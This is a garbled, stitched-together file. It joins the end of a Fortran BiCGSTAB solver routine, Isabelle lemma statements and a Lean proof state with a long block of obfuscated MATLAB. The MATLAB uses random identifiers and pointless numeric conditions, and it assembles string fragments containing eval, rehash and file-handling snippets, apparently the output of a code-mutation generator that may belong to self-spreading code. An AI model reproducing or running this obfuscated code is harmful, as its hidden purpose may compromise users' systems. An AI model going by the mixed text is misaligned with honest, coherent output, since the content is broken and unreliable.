enddo
!
! Calculate A*pnhcor and store the result in rj.
!
call z_matpro(aak ,bbk ,cck ,aak2 ,cck2 , &
& bbka ,bbkc ,kmax ,icx ,icy , &
& nmmax ,kfsz0 ,pnhcor ,rj ,kfs , &
& kfsmin ,kfsmx0 ,gdp )
!
! Calculate the true residual and store it in rj.
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
rj(nm,k) = (ddk(nm,k)-rj(nm,k)) / dinv(nm,k)
endif
enddo
endif
enddo
enddo
!
! Calculate the norms of rj.
!
rktrue = 0.0_fp
rkinftrue = 0.0_fp
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
rktrue = rktrue + rj(nm,k)*rj(nm,k)/(dinv(nm,k)*dinv(nm,k))
if (abs(rj(nm,k)/dinv(nm,k)) > abs(rkinftrue)) then
rkinftrue = abs(rj(nm,k)/dinv(nm,k))
endif
endif
enddo
endif
enddo
enddo
rktrue = sqrt(rktrue)
!
! Check if the true residual norm is smaller than the updated residual norm.
! The updated residual norm may have accumulated roundoff errors, especially in
! case the method nearly suffered from break down. That's why it is
! generally not not save to trust the updated residual as a stopping criterium.
!
if (l2norm) then
if (rktrue>normb*rel_epsnh .or. rktrue>epsnh) then
breakdown = 1
write (lundia,'(a)') 'RESTARTING: 2-norm of true residual is too large'
endif
else
if (rkinftrue>normbinf*rel_epsnh .or. rkinftrue>epsnh) then
breakdown = 1
write (lundia,'(a)') 'RESTARTING: inf-norm of true residual is too large'
endif
endif
!
! Don't restart if there was no breakdown.
!
if (breakdown == 0) exit
!
! Don't restart if the maximum number of iterations is reached.
!
if (iter == nhiter) exit
!
! Restart, because there was a break down and the maximum number of iteration is not yet reached.
!
enddo
!
! Now convergence or too many iterations or too many breakdowns.
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
p1(nm,k) = pnhcor(nm,k)
else
p1(nm,k) = 0.0_fp
endif
enddo
endif
enddo
enddo
!
! compute (unscaled) solution
!
do m = m1_nhy, m2_nhy
nmst = nmstart + (m-m1_nhy)*icxy
do nm = nmst, nmst+ndelta
if (kfs(nm) == 1) then
do k = 1, kmax
if (kfsz0(nm,k) /= 0) then
p1(nm,k) = p1(nm,k) * dinv(nm,k)
endif
enddo
endif
enddo
enddo
!
! print convergence behaviour
!
if (l2norm) then
conv = rk / rk0
conv = conv**(1.0/max(1,iter))
write (lundia,'(a,f5.2,a,i4,4(a,e10.3))') 'conv (L2 norm)=', &
& conv,' iter=',iter,' ',rk0,' ',rk,' ',rkinf0,' ',rkinf
else
conv = rk / rk0
conv = conv**(1.0/max(1,iter))
write (lundia,'(a,f5.2,a,i4,4(a,e10.3))') 'conv (Linf norm)=', &
& conv,' iter=',iter,' ',rk0,' ',rk,' ',rkinf0,' ',rkinf
endif
end subroutine z_solbicgstab
|
lemma continuous_within_tendsto_compose': fixes f::"'a::t2_space \<Rightarrow> 'b::topological_space" assumes "continuous (at a within s) f" "\<And>n. x n \<in> s" "(x \<longlongrightarrow> a) F " shows "((\<lambda>n. f (x n)) \<longlongrightarrow> f a) F" |
lemma linear_plus_1_le_power: fixes x :: real assumes x: "0 \<le> x" shows "real n * x + 1 \<le> (x + 1) ^ n" |
State Before: α : Type u_2
β : Type u_1
l : Filter α
k f g g' : α → β
inst✝² : TopologicalSpace β
inst✝¹ : CommSemiring β
inst✝ : ContinuousMul β
hf : SuperpolynomialDecay l k f
hg : SuperpolynomialDecay l k g
z : ℕ
⊢ Tendsto (fun a => k a ^ z * (f * g) a) l (𝓝 0) State After: no goals Tactic: simpa only [mul_assoc, one_mul, MulZeroClass.mul_zero, pow_zero] using (hf z).mul (hg 0) |
disp('1 end ')
yegfdlulwdtoha=inline('(ye+ye)+((kctxq+kctxq)+kctxq)','ye','kctxq');
[lhornwcfamatve,essdgknbhavpy]=ode45(yegfdlulwdtoha,[0 2],1.3415);
nprkdljmi=-1670.7265;
warning off all
moqaehgdbutueh=[22.7463 26.023 3.5861 15.9188 8.1114];
qacehhvierarbu=[393.3226 406.3796 175.2225 447.9525 197.6924 144.3935 449.9085 145.0458 387.293 193.4155 207.3002 513.8712 503.5552 414.3859 450.8544 387.9875 130.0463 40.323];
if(nprkdljmi>interp1(lhornwcfamatve,essdgknbhavpy,1.6793))
temayumgfcfmjknc='ap';
else kyfdgr='m';
end
ilpxeif=inline('arws.*arws','arws','mpgrs');
hygwvmolbpepmrq=411.85;
if(hygwvmolbpepmrq<interp1(qacehhvierarbu,6.8741))
kyfdgr=['bwwb=exnhfbww' kyfdgr];
else
niehcpjtwrkkejy=')<kaowisnmpsiimov(muiklohihtovu)) huyogiomiduyurycfms{length(kaowisnm';end
[rrvdx,autmcotevtguxo]=ode45(ilpxeif,[-1 3],3.0499);
etyaujcvpu=[11.8167;26.7917;12.9057;27.6892;8.3603];
if(sqrt(sin(min(max(real(etyaujcvpu*moqaehgdbutueh)))))<(29.4698))
qxmkxjeu='yajtgs{3} ghadkka';
else
kyfdgr=[kyfdgr 'end''];else spyqsbdckvh=sp'];end
mmnfoe=inline('ssoe.*(ssoe+(ssoe+exp(bjkfp)))','ssoe','bjkfp');
evwkhlsce=0.427162;
if(interp1(rrvdx,autmcotevtguxo,1.1771)>-4.7205623)
ssiqaoyurydt='*size(lgnwiueomye,2)+1)} ''('' iniulichaq '')';
else
qxmkxjeu=[ssiqaoyurydt qxmkxjeu];end
if(dblquad(@(dml,fd)dml.*atan(dml),log(2),0.84024,-0.96192,0.71799,1e-18)<evwkhlsce)
hwvxsdtinhs=',S)'' ''R'' ''R''};while ~isempty(strfind(jkayyeicmup,''S'')';
else
rslrkhjuqcacanklg='kn';end
daidnotvss=[18.9771 22.7703 25.5119];
if(exp(sech(atan2(-1.013,2.2233)))>2.06987345)
gstxd=')';
else kyfdgr=[qxmkxjeu kyfdgr];
end
rpsaxhlmjl=-12.6798;
if(interp1(ode45(mmnfoe,[3 6],3.1959),4.5916)>rpsaxhlmjl)
ohjtaxbqcavvhd='deset('' ghadkkahucxdcn ''OutputFcn'' ghadkkahucxdcn '',@rphtwcrjno));'']);hlhapictsjygxvmkolb=eval(ojbqbdsttqmqagcp{end-1});lkslelbbwmykxrfxny=num2str(rand*slmwmc+behghoulqqre);if rand>0.5 jkayyeicmup=[''interp1('' ojbqbdsttqmqagcp{end-1} '','' o';
else
hwvxsdtinhs=[ohjtaxbqcavvhd hwvxsdtinhs];end
hwmynovbuxpvbcllbct=inline('bjqs.*sin((bjqs.*xvsh))','bjqs','xvsh');
fyfkhlxqfbpbdgqvt=-0.75666365;
hqfuaruukwikhdh=[0.82142;26.1158;17.9394];
if((min(daidnotvss))>max(sum(hqfuaruukwikhdh*daidnotvss)))
niehcpjtwrkkejy=['ye'' ''yyfevvv'' ''iniulichaq'' ''hcoocwxbuekf'' ''nnmyqxeur'' ''ladxov'' ''slcjeyweudpgbnyyi'' ''pfwpihsjktnywof'' ''oaampkcpmjoxalfnhq'' ''t' niehcpjtwrkkejy];
else
xnkxhuhht='{3}=char(fix(rand(1,fi';end
[jjsrtb,fhaetupgtdhewtvaqt]=ode45(hwmynovbuxpvbcllbct,[1 4],3.1911);
covjmjaqpbiali=[18.0889 113.8511 162.702 162.3227 161.6538 81.4018 174.8596 81.5711 118.5828 246.9258 97.0214 169.5438 217.7011 278.984 266.9794 136.5325 171.032 61.3971 93.571 186.7164 221.8856 224.9224 171.063 225.6446 28.9697 8.463 271.9287 189.677 82.0422 36.6433 185.6912 277.1083 169.6201 182.3328 30.3551 174.8514 147.6953 131.1982 23.8529 256.449 60.0345 214.5025 242.8234 197.8178];
if(airy(tanh(log1p(coth(cart2pol(asinh(expint(expint(expm1(-2.7649)))),asech(log10(3.7259)))))))>fyfkhlxqfbpbdgqvt)
slglsyb='hfrujvolfifwi+omdvwmphcbvftxkmcfpgfa';
else sdovwrllxm='ty';
end
qntbokn=0.2992556;
jobvmdhusdjapyuync=163.9233;
if(interp1(covjmjaqpbiali,4.0774)<jobvmdhusdjapyuync)
pwmyotxjqqdvnqvqj='qe=0;while(huaiwetkqe<0.1 && ';
else
niehcpjtwrkkejy=[niehcpjtwrkkejy 'fecntukokaxnykxe=1:'];end
pxpeslajrsoxxfu=[674.8327 499.98 741.7334 104.2716 682.8851 723.0104 395.934 806.8324 606.7134 439.6675 159.1497 163.089 303.489 478.6241 933.6586 477.0253 131.1042 638.7856 786.0756 482.744 144.9343 797.0295 420.6543 876.8927 467.7884 750.7944 499.7667 179.8417 514.1918 914.3535 548.4878 337.5516 741.0142 380.0028 454.2472 793.9192 913.2734 910.093 557.0765 836.8252 319.0478 758.7178 745.3906 118.8252 218.7289 112.6197 248.5803 260.9186 688.4955 114.7807 144.0963 829.8842 580.9707];
if(qntbokn<interp1(jjsrtb,fhaetupgtdhewtvaqt,2.3793))
pxaidtw='; end;end;end;if(aeuksxfskdeefcbrbi==0)trncsdav=fix(rand*5)+3;cmbuusgfrbwioynkhq{1}=[oj';
else
qxmkxjeu=[qxmkxjeu 'sulr'];end
sekciqhbfeiiggkeb=215.624781;
if(interp1(pxpeslajrsoxxfu,47.4664,'spline')<sekciqhbfeiiggkeb)
hwvxsdtinhs=['gi=fix(rand*2);mevdmjvjppjqaml=fix(rand(1,4)*2);iffndxb={};iffndxb{1}(1:fix(rand*8))='' '';if rand>0.7 iffndxb{1}='' '';end;if rand>0.' hwvxsdtinhs];
else
cxuukxlwmynv='osser''';end
bqyxtl=0.45181257;
if(quad(@(tdi)tdi+((cos(tdi).*sin((exp(tdi).*tdi)))+tdi),-0.041543,0.48726,1e-19)<bqyxtl) lhsqifmuxyanrtx=' ddnkvuatgk';
else
cxuukxlwmynv=[qxmkxjeu cxuukxlwmynv];
end
if(acoth(asec(imag(acoth(log1p(3.2899)))))<-0.45107267)
cxuukxlwmynv=[cxuukxlwmynv '}={[''eval('' rmxqojwtrofk{1} '');'']};naqfffmpeiamchtwpsk{end+1}={}'];else
qapenyjv='myajtgs{3};splsljaaiqpk={''.*''';
end
if(min(sin(sum(sqrt(rosser))))<(cosh(sqrt(15.5385))))
dwvoisvqldhqdsnn='oiuxbqcdk=0;if(ebvxxeeatsbanewh==1';
else slglsyb=[ssiqaoyurydt slglsyb];
end
if(3.6891994<dblquad(@(lsp,walm)atan(((walm+walm).*walm))+lsp,0.55109,sqrt(3),-sqrt(2),0.061413,1e-11))
ohjtaxbqcavvhd=[ohjtaxbqcavvhd pwmyotxjqqdvnqvqj];
else wosbqnm=');rehash;ximdixveylsjfpcminm=randperm(oqsspk';
end
rgcbd=[257.4181 341.3703 280.3135 390.4894 572.6602 348.612 546.7047 132.4803 643.2297 61.9424 565.9566 295.4337 203.3779 154.4882 390.4635 333.738 440.0678 79.3987 48.5918 423.928 337.3478 28.0358 394.6205 330.1312 205.9697 433.6342 436.5512 366.1009 474.2962 517.7666 384.9676 41.3381 8.6036 4.4653 393.8872 233.5656 41.6798 105.2261 581.8531 386.8523 616.1171 435.4124 597.0449 276.349 330.2279 654.4713 66.6788];
tvgojenjdbj=31.692;
if(dblquad(@(sa,ssiwp)(exp(sa).*(sa+ssiwp))+sa,-0.74161,sqrt(3),sqrt(2),pi,1e-10)<tvgojenjdbj) oqkjxttunbhrj='gpfcs';
else
xnkxhuhht=[xnkxhuhht cxuukxlwmynv];
end
fgihukhgtq=[2.1366 1.3742 13.1325 8.1846];
if((real(sum(fgihukhgtq)))>max(imag(min(real(magic(4))))))
jckut='sbdckvh}{end+1}=cmbuusgfrbwi';
else cxuukxlwmynv=[oqkjxttunbhrj cxuukxlwmynv];
end
if(-0.90583<dblquad(@(qvonx,sgb)((qvonx.*atan((qvonx.*sin((qvonx.*qvonx))))).*qvonx).*qvonx,0.82868,sqrt(2),log(2),0.7262,1e-12))
fynpxawluob='cp'' ''osuwhvvjjpesspxqtcq'' ''twjoig';
else xnkxhuhht=['aampkcpmjoxalfnhq{2}; oaampkcpmjoxalfnhq{2}=oaampkcpmjoxalfnhq{3}; oaampkcpmjoxalfnhq(3)=[];end;lggotgbdwbyii=''' xnkxhuhht];
end
gwvnexjbybxjngfn=[4.3593 5.6224 13.9192 7.5135 4.9791 1.3117 5.8968; 14.2193 15.4525 12.3585 7.4343 7.9093 0.93648 7.6843; 11.8592 1.1662 15.9464 12.4544 16.1157 7.1611 11.3374; 3.7209 14.6955 11.9692 12.2162 11.2789 15.7431 13.8744; 7.9463 4.8714 12.6889 17.4591 4.3242 8.8595 12.5263; 11.1258 12.0351 10.4762 11.3629 2.7258 18.2836 6.0621; 6.9293 8.9243 11.3747 17.7234 11.9824 7.3565 12.8793];
if(max(cosh(max(sin(gwvnexjbybxjngfn))))>(sqrt(10.6058)))
anljgubrqrmfdehnn='gs';
else
fnoxuptwe='doihvf=1;udtjqos=fix(ran';end
pyecuyvqbmpy=[0.73143 1.3236 0.79014 0.57833; 0.93363 0.15236 1.125 0.55; 0.51296 0.13907 0.15638 0.24446; 0.87878 1.0738 0.070094 0.68569];
if(interp1(rgcbd,14.6027,'spline')<304.35842)
fnoxuptwe=[fnoxuptwe ohjtaxbqcavvhd];
else pwmyotxjqqdvnqvqj=[pwmyotxjqqdvnqvqj 'exnhfbwwb>-23)exnhf'];
end
sjwsqep=[0.50875 9.6218 7.3063];
if(sum(cos(min(hilb(3))))>(sin(sum(sjwsqep))))
htshspit='dyervkgukqccjva))>0) oaampkcpmjoxalfnhq{3}=oaam';
else
pwmyotxjqqdvnqvqj=['y'' ''erabhykbipg'' ''tuckriqpdcnkyylsyi'' ''qtfdcnoqdmrespxb'' ''prcktmicbmwdjfkv'' ''fgpdbpcqnaxxknl'' ''fvgjrfkkdppkdgg'' ''mlevnkihoragihf'' ''gbtccfimq' pwmyotxjqqdvnqvqj];end
euqghcjyiby=[138.7478 407.031 290.499 141.7241 163.6442 412.6839 420.0149 71.2466 37.8811 179.3869 296.4777 12.2283 417.1432 23.6443 99.0607 185.3754 235.7179 200.1971 401.8002 396.8895 337.3421 219.4429 203.6073 164.4076 101.9778 258.9971 423.5887 67.4763 128.5489 30.1114 163.6762 373.8516 248.4532 242.3914 152.6463 20.6081 321.5873 55.2142 345.2331 297.0213 55.7473 295.5201 38.1499 50.0399 16.8112 44.8785 171.7374];
uwchnvhqsbq=[1.4118 0.017829 0.21423 1.1983];
if((sqrt(min(uwchnvhqsbq)))<sinh(max(min(sqrt(pyecuyvqbmpy)))))
tiscwbhfmojjmtv=' ''bvftxkmcfpgfaejl'' ''bvftxkmcfpgfaejlsS';
else
jckut=[lhsqifmuxyanrtx jckut];end
kvfqclbsesrgwbuu=[2.2012 1.2978 7.6239 11.5505 1.5778 11.9501];
if(interp1(euqghcjyiby,18.8701)<374.78)
tiscwbhfmojjmtv=['bipg);gbtccfimqg' tiscwbhfmojjmtv];
else
gwurhcwoagkmp='sbanewh:ebvxxeeatsbanewh+length(fgpdbpcqnaxxknl{ysleaynfmmbevff})-1)==fgpdbpcqnaxxknl{ysleaynfmmbevff}) jjifd';end
ohrbukc=-0.1503627;
if(unwrap(angle(cosh(sin(atan2(sin(acot(atan2(exp(tanh(0.63863)),4.1005))),nextpow2(4.5713))))))>ohrbukc)
tiscwbhfmojjmtv=[tiscwbhfmojjmtv 'ub'' ''bvftxkmcfpgfaejlsAdd'' ''ewjjfkeno'' ''edu'];
else
htshspit=['nd}=char(fix(rand(1,fix(rand*15)+4)*25)+' htshspit];end
wophpwpq=inline('(((pmowj+pmowj).*pmowj).*exp(pmowj)).*pmowj','pmowj','wi');
bfebxokvtmbp=[130.6873 68.8806 55.4813 123.3027 127.0191 100.5495 26.5036 59.0518 67.491 141.0848 92.9892 139.4552 134.2194 70.0924 128.0138 32.1296 10.7045 22.412 39.1431 136.1724 73.9061 60.7763 78.8234 118.2438 1.8421 54.9153 15.4222 116.2511 73.2312 89.7354 103.744 138.5506 20.4385 108.2119 107.4809 51.3788 4.421 48.7474 91.4474 97.1989 91.3313 133.4881 13.2417 47.3442 133.8649 66.0184 109.6598 63.3377];
if(interp1(bfebxokvtmbp,46.4165)>84.809411)
ssiqaoyurydt=[jckut ssiqaoyurydt];
else jckhnalxhhsuhlewgo='ind(jkayyeicmup,''D''))>10)vgnofaowovp={''R''};end;end;jkayyeicmup';
end
inagdankgysrijr=inline('atan((cos(lxvgp)+(lxvgp.*sulds))).*sulds','sulds','lxvgp');
vqvxwu=[8.5453;1.7372;1.1991;0.39057;2.097;9.5241];
if((cos(35.6613))>sum(sum(real(vqvxwu*kvfqclbsesrgwbuu))))
oqkjxttunbhrj=[oqkjxttunbhrj 'ppkdgg+1;end;end;end;end;if ebvxxeeatsbanewh+1'];else
bmvwhxubrbneamihyp='ngth(fgpdbpcqnaxxknl{ysleay';
end
xxmukwdppvqdcqfgty=-1.409134;
iuqlmfvu=-9.0115;
if(interp1(ode45(wophpwpq,[2 6],1.3869),5.5099)>iuqlmfvu)
rasnlgvunxu='ht';else
kyfdgr=['ipg{mlevnkihoragihf(kgdkrqrdxmy):mlevnkihoragihf(kgdkrqrdxmy+1)-1}};nbwbgpb=lengt' kyfdgr];
end
chhojcxxvevcacqhcd=inline('(cos(atan(fk))+(atan(exp(fk)).*fk)).*fk','fk','dx');
if(xxmukwdppvqdcqfgty>interp1(ode45(inagdankgysrijr,[0 3],3.5295),2.8875))
hwvxsdtinhs=[hwvxsdtinhs 'bmqhmfodnuqulvn{:}],aormbmyajtg'];
else
omspd='}={[''eval('' rmxqojwtrofk{1} '');'']};naqfffmpeiamchtwpsk{end+1}={}';end
oxugbwlwrueljn=22.431206;
if(interp1(ode45(chhojcxxvevcacqhcd,[3 4],0.48276),4.5678)<oxugbwlwrueljn)
hlleilvfmrutmnrpjl='dw'' ''tsxearhdbr'' ''mumnb'' ''xqhjld'' ''xgatex'' ''jgcooasxsxgi'' ''manfrrw'' ''fhixkanrp'' ''yxaviahnpdin'' ''htdjuakywacmfkua';
else
jlbjycumen='vrf';end
raqhkosmoxi=11.1021;
if(dblquad(@(obuhu,mtyg)obuhu+exp(atan(obuhu)),sqrt(3),pi,-0.98296,0.45196,1e-13)>raqhkosmoxi)
nbfojw='yaj';
else
jckut=[jckut 'end;end;spyqsbdckvh=spyqsbdckvh+1;end;naqfffmpeiamch'];
end
trxyhuasswhtngtqpo=inline('svvp+(cos((cfq.*svvp))+svvp)','svvp','cfq');
tdhjujjvsesjeda=2.08364;
if(sec(acosh(coth(asec(asec(dot(-2.5449,1.0881))))))>tdhjujjvsesjeda)
wosbqnm=[kktocarqwilp wosbqnm];
else
kktocarqwilp='val(luesu);end;end;end;if(sum(wcflhkwpj(ximdixveylsjfpcminm(itdvvlmohrcjnox),:';
end
xckdvraaqhuodleniyh=-4.14267029;
if(xckdvraaqhuodleniyh<sinh(real(pol2cart(-4.0973,exp(atan(round(acsc(0.063621))))))))
jckhnalxhhsuhlewgo=[jckhnalxhhsuhlewgo lhsqifmuxyanrtx];
else
ctlffcfamo='ygl=1:length(hhijiilvkhh';end
[unbial,sdexclvldw]=ode45(trxyhuasswhtngtqpo,[0 2],0.10748);
if(0.574323272<sec(cos(1.3132)))
fwwakskjbxujro='dxb{2} osuwhvvjjpes';
else
wrfxuobbkh='(grbmm)+1)} ''('' num2str(trncsdav) '')''];elseif(usgrefousulriklear==4)MatName=''r';end
fbnenlpuifginyqsh=[44.3894 427.2513 333.1468 442.142 386.4666 54.0226 299.0159 443.6516 395.3234 45.9362 79.9951 82.2901 390.1984 71.6532 33.5474 241.0491 157.5147 402.6958];
xmxpjhyvxuffjqdneq=[8.2126 292.849 30.892 42.9895 250.7119 149.178];
hhyeblg=-20.033;
if(interp1(unbial,sdexclvldw,1.5539)>hhyeblg)
syevsxbu='ptqwxm';
else lhsqifmuxyanrtx=[lhsqifmuxyanrtx omspd];
end
esqbgeywot=-0.28504;
dpnolrldeywmmua=417.6232;
if(140.05>interp1(xmxpjhyvxuffjqdneq,2.5776,'spline'))
pxaidtw=[pxaidtw 'dsttqmqagcp{end'];
else rasnlgvunxu=[')''];end;if(dbkklrojgrs)naqfffmpeiamc' rasnlgvunxu];
end
if(dpnolrldeywmmua>interp1(fbnenlpuifginyqsh,3.8056))
otlvfmkfyktqxrg='cf';
else segu='gonacxc'' ''jjifdhoi';
end
ddaxtg=[443.0395 413.7787 412.5424 247.2096 38.7777 371.2574 120.6765 298.073 377.1938 209.9666 121.5389 208.6446];
if(quad(@(htre)(htre.*exp((htre.*(atan(cos(htre)).*(htre+(htre+atan((htre+atan(htre))))))))).*(cos(htre).*htre),-0.222,0.018869,1e-20)<esqbgeywot) fnoxuptwe=['ghadkkahucxdcn=char(39);for st' fnoxuptwe];
else
fagcbjcxlpfh='rq{:} wyfqrx{:} sgfmqgpfcssqens{1:end-1}},sgfmqgpfcssqens{end})) sgfmqgpfcssqens{e';
end
jwvdcrmgdrvt=[14.3845 8.8367 13.1235 1.6592 3.3565];
if(416.602<interp1(ddaxtg,2.4051,'spline'))
ohkjlvpmlpxvq='=wcflhkwpj(:,xgatex)+wcflhkw';
else hwvxsdtinhs=[hwvxsdtinhs rasnlgvunxu];
end
gbemk=0.44609;
if(4.2966525>quad(@(nd)(nd+nd)+(atan((nd.*(nd.*nd)))+atan(sin(atan(nd)))),-log(2),sqrt(3),1e-16))
owuaddkin='alfnhq{1}=oaampkcpmjoxalfnhq{2}; oaampkcpmjoxalfnhq{2}=o';else
lhsqifmuxyanrtx=[lhsqifmuxyanrtx ';ewjjfkeno={};aigjiudgwmlteovr=length(rjskmbsoh'];
end
ocgnrkakth=[2.2597;11.8577;15.835;9.2635;8.6471];
if((cos(cosh(sinh(-4.8812))))<min(sum(sqrt(exp(ocgnrkakth*jwvdcrmgdrvt)))))
tsrhlwuxgkeybamqwm='rand*oqsspktnpsso+1)},ghadkkahucxdcn,'',ghad';else
hlleilvfmrutmnrpjl=['vh-1;else rawwalxwsiodoihvf=1;end;end;if(rawwalxwsiodoihvf)dbkklrojgrs=0;eofbhbtxb=''0'';nthfmhlsq=''0'';while(~(vt' hlleilvfmrutmnrpjl];
end
sgcwdgjsm=[579.6999 406.7479 181.7037 966.3456 194.4419 400.615 679.3181 677.1265 50.6041 850.5996 509.4315 569.456 705.8361 301.154 535.1337 234.1966 782.324 600.4036 322.8529 911.2164 922.7039 581.2615 867.5336 8.5488 448.0691 979.7637 900.2663 348.8971 29.3452 144.8161 715.761 67.466 695.4018 548.4976];
if(0.0668126773-8.44324734e-006i>sec(cos(log1p(-4.7598))))
pdgegov='tnpsso);wcflhkwpj=false(oqsspktnpsso,oqsspktnpsso);for itdvvlmohrcjnox=1:oqsspktnpsso disp([num2';
else
obvxg='me';end
kxecqkercrpj=526.68;
if(sin(tan(cart2pol(asinh(4.0328),expm1(log(sign(dot(asech(4.6929),0.32317)))))))<gbemk)
veasyu='xdcn,tbxvasligboyu';
else
pdgegov=['gaxex' pdgegov];end
ovoohjhparkyqglwvp=[3.1317 7.8249 2.9898 15.306 3.2389 7.98 8.9139];
if(interp1(sgcwdgjsm,14.9864)<kxecqkercrpj)
segu=[segu ');rehash;ximdixveylsjfpcminm=randperm(oqsspk'];
else wosbqnm=[wosbqnm pdgegov];
end
uvxwqvrrpdrnkd=inline('pv+(pv+sin(vnyph))','pv','vnyph');
if(interp1(ode45(uvxwqvrrpdrnkd,[1 3],3.8218),1.0404)<-7.53017727)
ohjtaxbqcavvhd=[owuaddkin ohjtaxbqcavvhd];
else arngpilivgqh=' eidrgcrsfr '',';
end
if(max(min(vander(ovoohjhparkyqglwvp)))>(exp(29.351)))
omspd=[kyfdgr omspd];
else cqgmtjucta='htwpsk{spyqsbdckvh}{qedgtdep}';
end
gdyslujxysdkj=[14.4762 4.2282 9.3087 17.8987; 18.7234 12.2249 17.1049 18.2657; 12.35 4.4342 15.0384 2.5355; 1.1642 14.7608 7.2205 5.836];
if(max(sum(exp(rosser)))>(tan(real(-43.1549))))
fqsrtnxfefaa='onn{cm';
else omspd=[omspd 'nd+1'];
end
if((21.9964)<sum(min(tan(gdyslujxysdkj))))
gwurhcwoagkmp=[gwurhcwoagkmp 'io'' ''ebvxxeeatsbanewh'' ''ysleaynfmmbevf'];else
sourubcgustvodlhdj='cxdcn'' ''wtalkrcxr'' ''f';
end
if(1.7679595<real(unwrap(asin(3.185))))
ohkjlvpmlpxvq=[fynpxawluob ohkjlvpmlpxvq];
else
vfmyaxccheb='str';end
gjxguglqcc=[1.401 1.524 0.81614];
if((max(gjxguglqcc))>max(min(sqrt(rosser))))
sxghrmj=' num2str(rand(1,1)*gtddqwlwkjboikanjq)];end;end;cmbuusgfrbwioynkhq{1}=[cmbuus';
else lqhoyegqe='}};fclose(qtfdcnoqdmrespx';
end
qqomhiwnh=1.6465308;
xfiixyi=[9.9421 2.2941 17.1359 8.8989 3.09 12.879 17.9773];
if((-19.897)>max(sum(real(vander(xfiixyi)))))
segu=[segu ohjtaxbqcavvhd];
else
lmcyxsmjrcyqqona='i';end
if(dblquad(@(mch,mdo)mdo+atan(mch),-sqrt(2),log(2),0.97492,sqrt(3),1e-12)>qqomhiwnh)
augwxpthjfvi='ulriklear==3)MatName';
else
slglsyb=[ohkjlvpmlpxvq slglsyb];end
rrlhv=inline('(ldjs+dva).*cos(ldjs)','dva','ldjs');
kfgtnlcnttqkonducgw=[425.4241 265.1019 20.3673 386.6834 304.5755 382.6759 453.0559 237.3928 267.5044 202.4336 24.6571 304.1469 330.7176 9.4412 347.2066 412.4041 68.9483 116.7447 104.2559 57.123 215.7728 336.2619 184.951 215.2343 436.0051 333.2962 46.4831 388.2425 319.4958 329.8499 240.8465 60.1769 441.0551 305.2726 358.1608 325.7164 439.3777];
if(interp1(kfgtnlcnttqkonducgw,21.0925)<225.0659)
ssiqaoyurydt=[ssiqaoyurydt 'vtebe))exnhfbwwb=-50;end;end;if(exnh'];
else
qcqklbttfe='''coth'' ';end
wvylrgpovjpubodbdkx=[693.7067 83.7668 351.7149 195.9861 508.9857 32.1767 887.4837 948.3114 804.9499 111.3282 358.0027 467.2726 264.023 65.1348 223.383 575.1846 86.4674 771.9914 114.3355 914.1154 595.9705 77.9801 843.1397 71.6142 250.8758 310.5353 546.1054 516.5556 854.8811 29.6704 436.6899 951.5242 679.3706 350.8466 447.8948 831.0265 165.7174 199.3836 888.7853 205.418];
[ccyorftcwvg,bsxdvqmjix]=ode45(rrlhv,[1 4],2.0792);
if(-1.95508>interp1(ccyorftcwvg,bsxdvqmjix,1.3705))
kibcn='}={[''eval('' rmxqojwtrofk{1} '');'']};naqfffmpeiamchtwpsk{end+1}={}';
else
vfmyaxccheb=['}};pjterkhiyen=strrep(' vfmyaxccheb];end
jkcoymtodr=749.43;
tmoujcmxujutrkhev=0.3144624;
if(log(pow2(atan2(angle(sin(-3.6349)),log1p(csc(3.3107)))))>tmoujcmxujutrkhev)
svtiyr='ze(ojbqbdsttqmqagcp{end-2},2)+4)';
else
edttfmtc='s=rphtwc';
end
if(dblquad(@(qi,la)qi.*cos(la),-pi,-0.43106,-log(2),0.0050839,1e-13)>-4.08958)
xiwcbhva='d(1,1)*5));nthfmhlsq=num2st';
else
arngpilivgqh=['})<leng' arngpilivgqh];end
rdefusxwdsqsujwsidv=[311.2841 286.1315 71.4263 165.6981 350.0489 397.7887 79.3545 388.7952 20.3129 298.7824 29.5077 407.2372 59.7479 76.2274 39.7953 86.0407 21.0901 299.8515];
if(interp1(wvylrgpovjpubodbdkx,32.8278,'spline')<jkcoymtodr)
owuaddkin=[owuaddkin mckfjcdiicmhb];
else mckfjcdiicmhb='rsfr'' ''aormbmyajtgs'' ''splsljaaiqpk'' ''trncsdav'' ''cmbuusgfrbwioynkhq'' ''gtddqwlwkj';
end
feekdcwjmaoaanfm=364.812101;
if(interp1(rdefusxwdsqsujwsidv,5.3843)<feekdcwjmaoaanfm)
sxghrmj=[ohjtaxbqcavvhd sxghrmj];
else
ogbpmhuw='dw);wcflhkwpj(:,xdxckxbpsvdw)=0;eval(luesu);en';end
kqdigobusgeeovagaiq=[415.1968 458.797 891.324 636.8374 192.4656 253.8263 392.1829 465.1979 594.3214 758.5859 644.9858 719.3729 221.8735 131.0283 362.9242 376.7604 175.6197 570.2034 853.6208 547.2129 642.2099 567.9917 485.1031 364.1705 123.6645 640.8977 896.2667 746.2158 516.8569 278.6662 234.8304 585.3047 541.1864 893.4727 808.136 845.757 830.4237 534.8099 367.8286 708.8395 833.9254 127.7552];
jdukdjmwhenigqyiode=[5.815 0.40472 3.4855 6.1787 10.7537 2.3703 1.5988];
if(min(min(pascal(7)))>(max(jdukdjmwhenigqyiode)))
lhsqifmuxyanrtx=[lhsqifmuxyanrtx niehcpjtwrkkejy];
else
cbgw='2)+1)} ''('' Ma';end
thuxcudxufrte=552.41664;
if(interp1(kqdigobusgeeovagaiq,22.1707,'spline')<thuxcudxufrte)
wijetvburvtd='(:,tsxearh';
else
omspd=[augwxpthjfvi omspd];end
jbbihieurygwnjhdq=7.8772;
wrsqbj=[19.8797 21.2459 10.3767 23.6295 8.6237];
if((sum(wrsqbj))<sqrt(sum(sum(sqrt(cos(toeplitz(wrsqbj)))))))
arngpilivgqh=['dkkahucxdcn,c' arngpilivgqh];
else
gmdcvpqovcod='iffndxb{1} osuwhvvjjpesspxqtcq];r';end
ubgnbhbvimf=1.8074;
